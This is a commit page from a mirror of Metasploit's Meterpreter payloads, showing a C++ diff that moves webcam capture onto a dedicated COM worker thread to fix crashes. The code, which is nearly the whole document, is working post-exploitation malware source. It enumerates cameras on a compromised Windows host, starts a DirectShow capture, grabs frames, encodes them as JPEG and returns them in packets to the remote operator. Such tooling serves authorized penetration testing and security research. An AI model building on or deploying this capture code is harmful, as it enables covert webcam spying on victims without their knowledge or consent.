1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-02-28 06:13:03 +01:00

Add webcam thread to avoid COM-related crash

Webcam code was sometimes causing crashes in Meterpreter when attempting
to stop the camera after a frame had been captured. This appeared to be
because the thread that started the capture was not the same thread that
ended it.

CoInitialize() and CoUninitialize() need to be called on the same thread
and objects created on one thread need to be released on the same thread.
This change results in a new worker thread that is used for the lifetime
of the capture, and the callers have to interact with this thread via
basic threading events.

This is currently "proof of concept" code, rather than production-ready
code. The goal is to see if it solves the issue on the known targets
before tidying it up and locking it down for release.
This commit is contained in:
OJ 2013-10-05 18:18:26 +10:00
parent 50b7557290
commit 827aa064e2

View File

@ -37,16 +37,9 @@ HANDLE writeEvent;
//Store width/height of captured frame
int nWidth;
int nHeight;
bool running = false;
//Capture variables
#define MAX_CAMERAS 10
IGraphBuilder* g_pGraphBuilder = NULL;
IMediaControl* g_pMediaControl = NULL;
ICaptureGraphBuilder2* g_pCaptureGraphBuilder = NULL;
IBaseFilter* g_pIBaseFilterCam = NULL;
IBaseFilter* g_pIBaseFilterSampleGrabber = NULL;
IBaseFilter* g_pIBaseFilterNullRenderer = NULL;
PBYTE imgdata = NULL;
long imgsize = 0;
@ -98,6 +91,365 @@ private:
int m_nRefCount;
};
#define ACTION_STOP ((DWORD)1)
#define ACTION_GETFRAME ((DWORD)2)
typedef struct _WebcamThreadState
{
BOOL bSignal;
EVENT* pCallEvent;
EVENT* pResultEvent;
UINT index;
BOOL bRunning;
DWORD dwResult;
DWORD dwAction;
UINT frameQuality;
IGraphBuilder* pGraphBuilder;
IMediaControl* pMediaControl;
ICaptureGraphBuilder2* pCaptureGraphBuilder;
IBaseFilter* pIBaseFilterCam;
IBaseFilter* pIBaseFilterSampleGrabber;
IBaseFilter* pIBaseFilterNullRenderer;
Packet* pResponse;
} WebcamThreadState;
WebcamThreadState* g_pThreadState = NULL;
THREAD* g_pWorkerThread = NULL;
DWORD webcam_start( WebcamThreadState* state )
{
HRESULT hr;
DWORD dwResult = ERROR_SUCCESS;
do {
IEnumMoniker* pclassEnum = NULL;
ICreateDevEnum* pdevEnum = NULL;
if( state->index < 1 )
BREAK_WITH_ERROR("No webcams found", ERROR_FILE_NOT_FOUND)
CoInitialize(NULL);
hr = CoCreateInstance(CLSID_SystemDeviceEnum,
NULL,
CLSCTX_INPROC,
IID_ICreateDevEnum,
(LPVOID*)&pdevEnum);
if (FAILED(hr))
BREAK_WITH_ERROR("No webcams found", hr)
hr = pdevEnum->CreateClassEnumerator(CLSID_VideoInputDeviceCategory, &pclassEnum, 0);
if (pdevEnum != NULL){
pdevEnum->Release();
pdevEnum = NULL;
}
UINT nCount = 0;
IUnknown* pUnk = NULL;
if (pclassEnum == NULL)
BREAK_WITH_ERROR("No webcams found", ERROR_FILE_NOT_FOUND) // Error!
IMoniker* apIMoniker[1];
ULONG ulCount = 0;
while (SUCCEEDED(hr) && nCount < state->index && pclassEnum->Next(1, apIMoniker, &ulCount) == S_OK){
pUnk = apIMoniker[0];
nCount++;
}
pclassEnum->Release();
if(pUnk == NULL)
BREAK_WITH_ERROR("No webcams found", ERROR_FILE_NOT_FOUND)
IMoniker *pMoniker = NULL;
// Grab the moniker interface
hr = pUnk->QueryInterface(IID_IMoniker, (LPVOID*)&pMoniker);
if (FAILED(hr))
BREAK_WITH_ERROR("Query interface failed", hr)
dprintf( "LOG_WEBCAM: Creating state->pGraphBuilder" );
// Build all the necessary interfaces to start the capture
hr = CoCreateInstance(CLSID_FilterGraph,
NULL,
CLSCTX_INPROC,
IID_IGraphBuilder,
(LPVOID*)&state->pGraphBuilder);
if (FAILED(hr))
BREAK_WITH_ERROR("Filter graph creation failed", hr)
dprintf( "LOG_WEBCAM: Created state->pGraphBuilder (%p).", state->pGraphBuilder );
hr = state->pGraphBuilder->QueryInterface(IID_IMediaControl, (LPVOID*)&state->pMediaControl);
if (FAILED(hr))
BREAK_WITH_ERROR("Query interface failed", hr)
hr = CoCreateInstance(CLSID_CaptureGraphBuilder2,
NULL,
CLSCTX_INPROC,
IID_ICaptureGraphBuilder2,
(LPVOID*)&state->pCaptureGraphBuilder);
if (FAILED(hr))
BREAK_WITH_ERROR("Capture Graph Builder failed", hr)
// Setup the filter graph
hr = state->pCaptureGraphBuilder->SetFiltergraph(state->pGraphBuilder);
if (FAILED(hr))
BREAK_WITH_ERROR("Set filter graph failed", hr)
// Build the camera from the moniker
hr = pMoniker->BindToObject(NULL, NULL, IID_IBaseFilter, (LPVOID*)&state->pIBaseFilterCam);
if (FAILED(hr))
BREAK_WITH_ERROR("Bind to object failed", hr)
// Add the camera to the filter graph
hr = state->pGraphBuilder->AddFilter(state->pIBaseFilterCam, L"WebCam");
if (FAILED(hr))
BREAK_WITH_ERROR("Add filter failed", hr)
// Create a SampleGrabber
hr = CoCreateInstance(CLSID_SampleGrabber, NULL, CLSCTX_INPROC_SERVER, IID_IBaseFilter, (void**)&state->pIBaseFilterSampleGrabber);
if (FAILED(hr))
BREAK_WITH_ERROR("Create sample grabber failed", hr)
// Configure the Sample Grabber
ISampleGrabber *pGrabber = NULL;
hr = state->pIBaseFilterSampleGrabber->QueryInterface(IID_ISampleGrabber, (void**)&pGrabber);
if (SUCCEEDED(hr)){
AM_MEDIA_TYPE mt;
ZeroMemory(&mt, sizeof(AM_MEDIA_TYPE));
mt.majortype = MEDIATYPE_Video;
mt.subtype = MEDIASUBTYPE_RGB24;
mt.formattype = FORMAT_VideoInfo;
hr = pGrabber->SetMediaType(&mt);
}
if (SUCCEEDED(hr)){
MySampleGrabberCB* msg = new MySampleGrabberCB();
hr = pGrabber->SetCallback(msg, 1);
}
if (pGrabber != NULL){
pGrabber->Release();
pGrabber = NULL;
}
if (FAILED(hr))
BREAK_WITH_ERROR("Sample grabber instantiation failed", hr)
// Add Sample Grabber to the filter graph
hr = state->pGraphBuilder->AddFilter(state->pIBaseFilterSampleGrabber, L"SampleGrabber");
if (FAILED(hr))
BREAK_WITH_ERROR("Add Sample Grabber to the filter graph failed", hr)
// Create the NullRender
hr = CoCreateInstance(CLSID_NullRenderer, NULL, CLSCTX_INPROC_SERVER, IID_IBaseFilter, (void**)&state->pIBaseFilterNullRenderer);
if (FAILED(hr))
BREAK_WITH_ERROR("Create the NullRender failed", hr)
// Add the Null Render to the filter graph
hr = state->pGraphBuilder->AddFilter(state->pIBaseFilterNullRenderer, L"NullRenderer");
if (FAILED(hr))
BREAK_WITH_ERROR("Add the Null Render to the filter graph failed", hr)
// Configure the render stream
hr = state->pCaptureGraphBuilder->RenderStream(&PIN_CATEGORY_CAPTURE, &MEDIATYPE_Video, state->pIBaseFilterCam,
state->pIBaseFilterSampleGrabber, state->pIBaseFilterNullRenderer);
if (FAILED(hr))
BREAK_WITH_ERROR("Configure the render stream failed", hr)
// Grab the capture width and height
hr = state->pIBaseFilterSampleGrabber->QueryInterface(IID_ISampleGrabber, (LPVOID*)&pGrabber);
if (FAILED(hr))
BREAK_WITH_ERROR("Querying interface failed", hr)
AM_MEDIA_TYPE mt;
hr = pGrabber->GetConnectedMediaType(&mt);
if (FAILED(hr))
BREAK_WITH_ERROR("GetConnectedMediaType failed", hr)
VIDEOINFOHEADER *pVih;
if ((mt.formattype == FORMAT_VideoInfo) &&
(mt.cbFormat >= sizeof(VIDEOINFOHEADER)) &&
(mt.pbFormat != NULL) ) {
pVih = (VIDEOINFOHEADER*)mt.pbFormat;
nWidth = pVih->bmiHeader.biWidth;
nHeight = pVih->bmiHeader.biHeight;
}else{
BREAK_WITH_ERROR("Wrong format type", hr) // Wrong format
}
if (pGrabber != NULL){
pGrabber->Release();
pGrabber = NULL;
}
//Sync: set up semaphore
writeEvent = CreateEvent(
NULL, // default security attributes
FALSE, // auto-reset event
FALSE, // initial state is nonsignaled
NULL); // no object name
// Start the capture
if (FAILED(hr))
BREAK_WITH_ERROR("CreateEvent failed", hr)
hr = state->pMediaControl->Run();
if (FAILED(hr))
BREAK_WITH_ERROR("Running capture failed", hr)
// Cleanup
if (pMoniker != NULL){
pMoniker->Release();
pMoniker = NULL;
}
//Now we wait for first frame
if(WaitForSingleObject (writeEvent, 30000) == WAIT_TIMEOUT)
BREAK_WITH_ERROR("timeout!", WAIT_TIMEOUT);
dwResult = GetLastError();
} while (0);
return dwResult;
}
DWORD webcam_get_frame( WebcamThreadState* state )
{
DWORD dwResult = ERROR_SUCCESS;
UINT quality = state->frameQuality;
dprintf( "LOG_WEBCAM: Entry." );
do{
//Make bmp
BITMAPFILEHEADER bfh;
bfh.bfType = 0x4d42; // always "BM"
bfh.bfSize = sizeof( BITMAPFILEHEADER );
bfh.bfReserved1 = 0;
bfh.bfReserved2 = 0;
bfh.bfOffBits = (DWORD) (sizeof( bfh ) + sizeof(BITMAPINFOHEADER));
BITMAPINFOHEADER bih;
bih.biSize = sizeof(BITMAPINFOHEADER);
bih.biWidth = nWidth;
bih.biHeight = nHeight;
bih.biPlanes = 1;
bih.biBitCount = 24;
bih.biCompression = BI_RGB;
bih.biSizeImage = imgsize;
bih.biXPelsPerMeter = 0;
bih.biYPelsPerMeter = 0;
bih.biClrUsed = 0;
bih.biClrImportant = 0;
UINT mybmpsize = imgsize + sizeof(bfh) + sizeof(bih);
if(bmpsize < mybmpsize){
bmpsize = mybmpsize;
if(bmpdata != NULL)
delete [] bmpdata;
bmpdata = new BYTE[bmpsize];
}
// put headers together to make a .bmp in memory
memcpy(bmpdata, &bfh, sizeof(bfh));
memcpy(bmpdata + sizeof(bfh), &bih, sizeof(bih));
memcpy(bmpdata + sizeof(bfh) + sizeof(bih), imgdata, imgsize);
// Now convert to JPEG
bmp2jpeg(bmpdata, quality, &jpgarray, &jpgsize );
//And send
packet_add_tlv_raw( state->pResponse, TLV_TYPE_WEBCAM_IMAGE, jpgarray, jpgsize );
} while(0);
PBYTE tmparray = jpgarray;
jpgsize = 0;
jpgarray = NULL;
free(tmparray);
dprintf( "LOG_WEBCAM: Entry." );
return dwResult;
}
DWORD THREADCALL webcam_worker_thread( THREAD * thread )
{
DWORD dwResult;
WebcamThreadState* state = (WebcamThreadState*)thread->parameter1;
dprintf( "LOG_WEBCAM: Entry." );
state->bRunning = TRUE;
CoInitialize( NULL );
do
{
dwResult = webcam_start( state );
if( dwResult != ERROR_SUCCESS )
break;
// let the caller know that we've initialised
state->dwResult = dwResult;
event_signal( state->pResultEvent );
do
{
dprintf( "LOG_WEBCAM: Thread now running, waiting for a signal" );
// wait for the next call
if( !event_poll( state->pCallEvent, -1 ) )
BREAK_WITH_ERROR( "LOG_WEBCAM: Failed to receive a signal from the caller", ERROR_TIMEOUT );
switch( state->dwAction )
{
case ACTION_STOP:
dprintf( "LOG_WEBCAM: ACTION_STOP called." );
dwResult = ERROR_SUCCESS;
state->bRunning = FALSE;
break;
case ACTION_GETFRAME:
dprintf( "LOG_WEBCAM: ACTION_GETFRAME called." );
dwResult = webcam_get_frame( state );
event_signal( state->pResultEvent );
break;
default:
dprintf( "LOG_WEBCAM: Unexpected action %u", state->dwAction );
state->bRunning = FALSE;
dwResult = ERROR_UNKNOWN_FEATURE;
break;
}
} while( state->bRunning );
} while(0);
if (state->pIBaseFilterNullRenderer != NULL){
dprintf( "LOG_WEBCAM: Releasing state->pIBaseFilterNullRenderer." );
state->pIBaseFilterNullRenderer->Release();
state->pIBaseFilterNullRenderer = NULL;
dprintf( "LOG_WEBCAM: state->pIBaseFilterNullRenderer done." );
}
if (state->pIBaseFilterSampleGrabber != NULL){
dprintf( "LOG_WEBCAM: Releasing state->pIBaseFilterSampleGrabber." );
state->pIBaseFilterSampleGrabber->Release();
state->pIBaseFilterSampleGrabber = NULL;
dprintf( "LOG_WEBCAM: state->pIBaseFilterSampleGrabber done." );
}
if (state->pIBaseFilterCam != NULL){
dprintf( "LOG_WEBCAM: Releasing state->pIBaseFilterCam." );
state->pIBaseFilterCam->Release();
state->pIBaseFilterCam = NULL;
dprintf( "LOG_WEBCAM: state->pIBaseFilterCam done." );
}
if (state->pCaptureGraphBuilder != NULL){
dprintf( "LOG_WEBCAM: Releasing state->pCaptureGraphBuilder." );
state->pCaptureGraphBuilder->Release();
state->pCaptureGraphBuilder = NULL;
dprintf( "LOG_WEBCAM: state->pCaptureGraphBuilder done." );
}
if (state->pMediaControl != NULL){
dprintf( "LOG_WEBCAM: Stopping state->pMediaControl." );
state->pMediaControl->Stop();
dprintf( "LOG_WEBCAM: Releasing state->pMediaControl." );
state->pMediaControl->Release();
state->pMediaControl = NULL;
dprintf( "LOG_WEBCAM: state->pMediaControl done." );
}
if (state->pGraphBuilder != NULL){
dprintf( "LOG_WEBCAM: Releasing state->pGraphBuilder (%p).", state->pGraphBuilder );
state->pGraphBuilder->Release();
state->pGraphBuilder = NULL;
dprintf( "LOG_WEBCAM: state->pGraphBuilder done." );
}
CoUninitialize();
state->dwResult = dwResult;
// signal that the thread is finishing
event_signal( state->pResultEvent );
dprintf( "LOG_WEBCAM: Exit." );
return dwResult;
}
extern "C" {
// lists webcams
DWORD request_webcam_list(Remote *remote, Packet *packet){
@ -155,6 +507,7 @@ DWORD request_webcam_list(Remote *remote, Packet *packet){
dwResult = GetLastError();
packet_transmit_response(dwResult, remote, response);
CoUninitialize();
return dwResult;
}
@ -164,233 +517,103 @@ DWORD request_webcam_start(Remote *remote, Packet *packet){
DWORD dwResult = ERROR_SUCCESS;
UINT index = packet_get_tlv_value_uint(packet, TLV_TYPE_WEBCAM_INTERFACE_ID);
do {
if(running)
BREAK_WITH_ERROR("Already running!", ERROR_SERVICE_ALREADY_RUNNING)
IEnumMoniker* pclassEnum = NULL;
ICreateDevEnum* pdevEnum = NULL;
if(index < 1)
BREAK_WITH_ERROR("No webcams found", ERROR_FILE_NOT_FOUND)
CoInitialize(NULL);
HRESULT hr = CoCreateInstance(CLSID_SystemDeviceEnum,
NULL,
CLSCTX_INPROC,
IID_ICreateDevEnum,
(LPVOID*)&pdevEnum);
if (FAILED(hr))
BREAK_WITH_ERROR("No webcams found", hr)
dprintf( "LOG_WEBCAM: Entry." );
hr = pdevEnum->CreateClassEnumerator(CLSID_VideoInputDeviceCategory, &pclassEnum, 0);
do
{
// If we have a thread running, then this means the webcam capture is already running too.
if( g_pWorkerThread != NULL )
BREAK_WITH_ERROR( "LOG_WEBCAM: Already running!", ERROR_SERVICE_ALREADY_RUNNING );
if (pdevEnum != NULL){
pdevEnum->Release();
pdevEnum = NULL;
}
UINT nCount = 0;
IUnknown* pUnk = NULL;
if (pclassEnum == NULL)
BREAK_WITH_ERROR("No webcams found", ERROR_FILE_NOT_FOUND) // Error!
IMoniker* apIMoniker[1];
ULONG ulCount = 0;
while (SUCCEEDED(hr) && nCount < index && pclassEnum->Next(1, apIMoniker, &ulCount) == S_OK){
pUnk = apIMoniker[0];
nCount++;
}
pclassEnum->Release();
if(pUnk == NULL)
BREAK_WITH_ERROR("No webcams found", ERROR_FILE_NOT_FOUND)
IMoniker *pMoniker = NULL;
g_pThreadState = (WebcamThreadState*)malloc( sizeof(WebcamThreadState) );
// Grab the moniker interface
hr = pUnk->QueryInterface(IID_IMoniker, (LPVOID*)&pMoniker);
if (FAILED(hr))
BREAK_WITH_ERROR("Query interface failed", hr)
if( g_pThreadState == NULL )
BREAK_WITH_ERROR( "LOG_WEBCAM: Out of memory", ERROR_OUTOFMEMORY );
// Build all the necessary interfaces to start the capture
hr = CoCreateInstance(CLSID_FilterGraph,
NULL,
CLSCTX_INPROC,
IID_IGraphBuilder,
(LPVOID*)&g_pGraphBuilder);
if (FAILED(hr))
BREAK_WITH_ERROR("Filter graph creation failed", hr)
ZeroMemory( g_pThreadState, sizeof(WebcamThreadState) );
hr = g_pGraphBuilder->QueryInterface(IID_IMediaControl, (LPVOID*)&g_pMediaControl);
if (FAILED(hr))
BREAK_WITH_ERROR("Query interface failed", hr)
// create a wait event and indicate we're expecting a response from the call
g_pThreadState->pCallEvent = event_create();
g_pThreadState->pResultEvent = event_create();
g_pThreadState->bSignal = TRUE;
g_pThreadState->index = index;
hr = CoCreateInstance(CLSID_CaptureGraphBuilder2,
NULL,
CLSCTX_INPROC,
IID_ICaptureGraphBuilder2,
(LPVOID*)&g_pCaptureGraphBuilder);
if (FAILED(hr))
BREAK_WITH_ERROR("Capture Graph Builder failed", hr)
// kick off the worker thread that will do all the cam handling on one thread to avoid
// cross-threaded COM problems.
g_pWorkerThread = thread_create( webcam_worker_thread, g_pThreadState, NULL );
// Setup the filter graph
hr = g_pCaptureGraphBuilder->SetFiltergraph(g_pGraphBuilder);
if (FAILED(hr))
BREAK_WITH_ERROR("Set filter graph failed", hr)
// Build the camera from the moniker
hr = pMoniker->BindToObject(NULL, NULL, IID_IBaseFilter, (LPVOID*)&g_pIBaseFilterCam);
if (FAILED(hr))
BREAK_WITH_ERROR("Bind to object failed", hr)
// Add the camera to the filter graph
hr = g_pGraphBuilder->AddFilter(g_pIBaseFilterCam, L"WebCam");
if (FAILED(hr))
BREAK_WITH_ERROR("Add filter failed", hr)
// Create a SampleGrabber
hr = CoCreateInstance(CLSID_SampleGrabber, NULL, CLSCTX_INPROC_SERVER, IID_IBaseFilter, (void**)&g_pIBaseFilterSampleGrabber);
if (FAILED(hr))
BREAK_WITH_ERROR("Create sample grabber failed", hr)
// Configure the Sample Grabber
ISampleGrabber *pGrabber = NULL;
hr = g_pIBaseFilterSampleGrabber->QueryInterface(IID_ISampleGrabber, (void**)&pGrabber);
if (SUCCEEDED(hr)){
AM_MEDIA_TYPE mt;
ZeroMemory(&mt, sizeof(AM_MEDIA_TYPE));
mt.majortype = MEDIATYPE_Video;
mt.subtype = MEDIASUBTYPE_RGB24;
mt.formattype = FORMAT_VideoInfo;
hr = pGrabber->SetMediaType(&mt);
}
if (SUCCEEDED(hr)){
MySampleGrabberCB* msg = new MySampleGrabberCB();
hr = pGrabber->SetCallback(msg, 1);
}
if (pGrabber != NULL){
pGrabber->Release();
pGrabber = NULL;
}
if (FAILED(hr))
BREAK_WITH_ERROR("Sample grabber instantiation failed", hr)
if( g_pWorkerThread == NULL )
BREAK_WITH_ERROR( "LOG_WEBCAM: Failed to create thread.", ERROR_THREAD_1_INACTIVE );
// Add Sample Grabber to the filter graph
hr = g_pGraphBuilder->AddFilter(g_pIBaseFilterSampleGrabber, L"SampleGrabber");
if (FAILED(hr))
BREAK_WITH_ERROR("Add Sample Grabber to the filter graph failed", hr)
// Create the NullRender
hr = CoCreateInstance(CLSID_NullRenderer, NULL, CLSCTX_INPROC_SERVER, IID_IBaseFilter, (void**)&g_pIBaseFilterNullRenderer);
if (FAILED(hr))
BREAK_WITH_ERROR("Create the NullRender failed", hr)
// Add the Null Render to the filter graph
hr = g_pGraphBuilder->AddFilter(g_pIBaseFilterNullRenderer, L"NullRenderer");
if (FAILED(hr))
BREAK_WITH_ERROR("Add the Null Render to the filter graph failed", hr)
// Configure the render stream
hr = g_pCaptureGraphBuilder->RenderStream(&PIN_CATEGORY_CAPTURE, &MEDIATYPE_Video, g_pIBaseFilterCam,
g_pIBaseFilterSampleGrabber, g_pIBaseFilterNullRenderer);
if (FAILED(hr))
BREAK_WITH_ERROR("Configure the render stream failed", hr)
// Grab the capture width and height
hr = g_pIBaseFilterSampleGrabber->QueryInterface(IID_ISampleGrabber, (LPVOID*)&pGrabber);
if (FAILED(hr))
BREAK_WITH_ERROR("Querying interface failed", hr)
AM_MEDIA_TYPE mt;
hr = pGrabber->GetConnectedMediaType(&mt);
if (FAILED(hr))
BREAK_WITH_ERROR("GetConnectedMediaType failed", hr)
VIDEOINFOHEADER *pVih;
if ((mt.formattype == FORMAT_VideoInfo) &&
(mt.cbFormat >= sizeof(VIDEOINFOHEADER)) &&
(mt.pbFormat != NULL) ) {
pVih = (VIDEOINFOHEADER*)mt.pbFormat;
nWidth = pVih->bmiHeader.biWidth;
nHeight = pVih->bmiHeader.biHeight;
}else{
BREAK_WITH_ERROR("Wrong format type", hr) // Wrong format
}
if (pGrabber != NULL){
pGrabber->Release();
pGrabber = NULL;
}
if( thread_run( g_pWorkerThread ) == FALSE )
BREAK_WITH_ERROR( "LOG_WEBCAM: Failed to run worker thread", ERROR_CAN_NOT_COMPLETE );
//Sync: set up semaphore
writeEvent = CreateEvent(
NULL, // default security attributes
FALSE, // auto-reset event
FALSE, // initial state is nonsignaled
NULL); // no object name
// now wait for a signal to say that we've got things running
if( event_poll( g_pThreadState->pResultEvent, 4000 ) == FALSE )
BREAK_WITH_ERROR( "LOG_WEBCAM: Failed to initialise worker thread", ERROR_WAIT_1 );
// Start the capture
if (FAILED(hr))
BREAK_WITH_ERROR("CreateEvent failed", hr)
hr = g_pMediaControl->Run();
if (FAILED(hr))
BREAK_WITH_ERROR("Running capture failed", hr)
// Cleanup
if (pMoniker != NULL){
pMoniker->Release();
pMoniker = NULL;
}
//Now we wait for first frame
if(WaitForSingleObject (writeEvent, 30000) == WAIT_TIMEOUT)
BREAK_WITH_ERROR("timeout!", WAIT_TIMEOUT);
running = true;
dwResult = GetLastError();
} while (0);
dprintf( "LOG_WEBCAM: Webcam thread has been initialised" );
dwResult = g_pThreadState->dwResult;
} while(0);
packet_transmit_response(dwResult, remote, response);
if( dwResult != ERROR_SUCCESS ) {
if( g_pWorkerThread != NULL ) {
if( g_pThreadState != NULL ) {
if( g_pThreadState->bRunning )
thread_kill( g_pWorkerThread );
if( g_pThreadState->pCallEvent != NULL )
event_destroy( g_pThreadState->pCallEvent );
if( g_pThreadState->pResultEvent != NULL )
event_destroy( g_pThreadState->pResultEvent );
free( g_pThreadState );
g_pThreadState = NULL;
}
thread_destroy( g_pWorkerThread );
free( g_pWorkerThread );
g_pWorkerThread = NULL;
}
}
dprintf( "LOG_WEBCAM: Exit." );
return dwResult;
}
// Gets image from running webcam
DWORD request_webcam_get_frame(Remote *remote, Packet *packet){
Packet *response = packet_create_response(packet);
DWORD dwResult = ERROR_SUCCESS;
UINT quality = packet_get_tlv_value_uint(packet, TLV_TYPE_WEBCAM_QUALITY);
do{
if(!running)
BREAK_WITH_ERROR("Not running!", ERROR_INVALID_ACCESS)
//Make bmp
BITMAPFILEHEADER bfh;
bfh.bfType = 0x4d42; // always "BM"
bfh.bfSize = sizeof( BITMAPFILEHEADER );
bfh.bfReserved1 = 0;
bfh.bfReserved2 = 0;
bfh.bfOffBits = (DWORD) (sizeof( bfh ) + sizeof(BITMAPINFOHEADER));
DWORD dwResult = ERROR_SUCCESS;
BITMAPINFOHEADER bih;
bih.biSize = sizeof(BITMAPINFOHEADER);
bih.biWidth = nWidth;
bih.biHeight = nHeight;
bih.biPlanes = 1;
bih.biBitCount = 24;
bih.biCompression = BI_RGB;
bih.biSizeImage = imgsize;
bih.biXPelsPerMeter = 0;
bih.biYPelsPerMeter = 0;
bih.biClrUsed = 0;
bih.biClrImportant = 0;
dprintf( "LOG_WEBCAM: Entry." );
UINT mybmpsize = imgsize + sizeof(bfh) + sizeof(bih);
if(bmpsize < mybmpsize){
bmpsize = mybmpsize;
if(bmpdata != NULL)
delete [] bmpdata;
bmpdata = new BYTE[bmpsize];
}
do
{
if( g_pWorkerThread == NULL )
BREAK_WITH_ERROR( "LOG_WEBCAM: Webcam is not running", ERROR_NOT_READY );
// put headers together to make a .bmp in memory
memcpy(bmpdata, &bfh, sizeof(bfh));
memcpy(bmpdata + sizeof(bfh), &bih, sizeof(bih));
memcpy(bmpdata + sizeof(bfh) + sizeof(bih), imgdata, imgsize);
// set up the thread call
g_pThreadState->pResponse = response;
g_pThreadState->frameQuality = quality;
g_pThreadState->dwAction = ACTION_GETFRAME;
// Now convert to JPEG
bmp2jpeg(bmpdata, quality, &jpgarray, &jpgsize );
// invoke and wait
event_signal( g_pThreadState->pCallEvent );
if( event_poll( g_pThreadState->pResultEvent, 5000 ) == FALSE )
BREAK_WITH_ERROR( "LOG_WEBCAM: Failed to receive result in time", ERROR_WAIT_1 );
// the handler thread should have added data to the packet to return to the caller, so off we go!
dwResult = g_pThreadState->dwResult;
} while(0);
//And send
packet_add_tlv_raw(response, TLV_TYPE_WEBCAM_IMAGE, jpgarray, jpgsize);
}while(0);
packet_transmit_response(dwResult, remote, response);
PBYTE tmparray = jpgarray;
jpgsize = 0;
jpgarray = NULL;
free(tmparray);
dprintf( "LOG_WEBCAM: Exit." );
return dwResult;
}
@ -399,35 +622,39 @@ DWORD request_webcam_stop(Remote *remote, Packet *packet){
Packet *response = packet_create_response(packet);
DWORD dwResult = ERROR_SUCCESS;
running = false;
if (g_pMediaControl != NULL){
g_pMediaControl->Stop();
g_pMediaControl->Release();
g_pMediaControl = NULL;
}
if (g_pIBaseFilterNullRenderer != NULL){
g_pIBaseFilterNullRenderer->Release();
g_pIBaseFilterNullRenderer = NULL;
}
if (g_pIBaseFilterSampleGrabber != NULL){
g_pIBaseFilterSampleGrabber->Release();
g_pIBaseFilterSampleGrabber = NULL;
}
if (g_pIBaseFilterCam != NULL){
g_pIBaseFilterCam->Release();
g_pIBaseFilterCam = NULL;
}
if (g_pGraphBuilder != NULL){
g_pGraphBuilder->Release();
g_pGraphBuilder = NULL;
}
if (g_pCaptureGraphBuilder != NULL){
g_pCaptureGraphBuilder->Release();
g_pCaptureGraphBuilder = NULL;
}
dprintf( "LOG_WEBCAM: Entry." );
do
{
if( g_pWorkerThread == NULL )
BREAK_WITH_ERROR( "LOG_WEBCAM: Webcam is not running", ERROR_NOT_READY );
// set up the thread call
g_pThreadState->dwAction = ACTION_STOP;
// invoke and wait
event_signal( g_pThreadState->pCallEvent );
if( event_poll( g_pThreadState->pResultEvent, 5000 ) == FALSE )
BREAK_WITH_ERROR( "LOG_WEBCAM: Failed to receive result in time", ERROR_WAIT_1 );
// the handler thread should have added data to the packet to return to the caller, so off we go!
dwResult = g_pThreadState->dwResult;
} while(0);
packet_transmit_response(dwResult, remote, response);
event_destroy( g_pThreadState->pCallEvent );
event_destroy( g_pThreadState->pResultEvent );
free( g_pThreadState );
g_pThreadState = NULL;
thread_destroy( g_pWorkerThread );
g_pWorkerThread = NULL;
dprintf( "LOG_WEBCAM: Exit." );
return dwResult;
}
}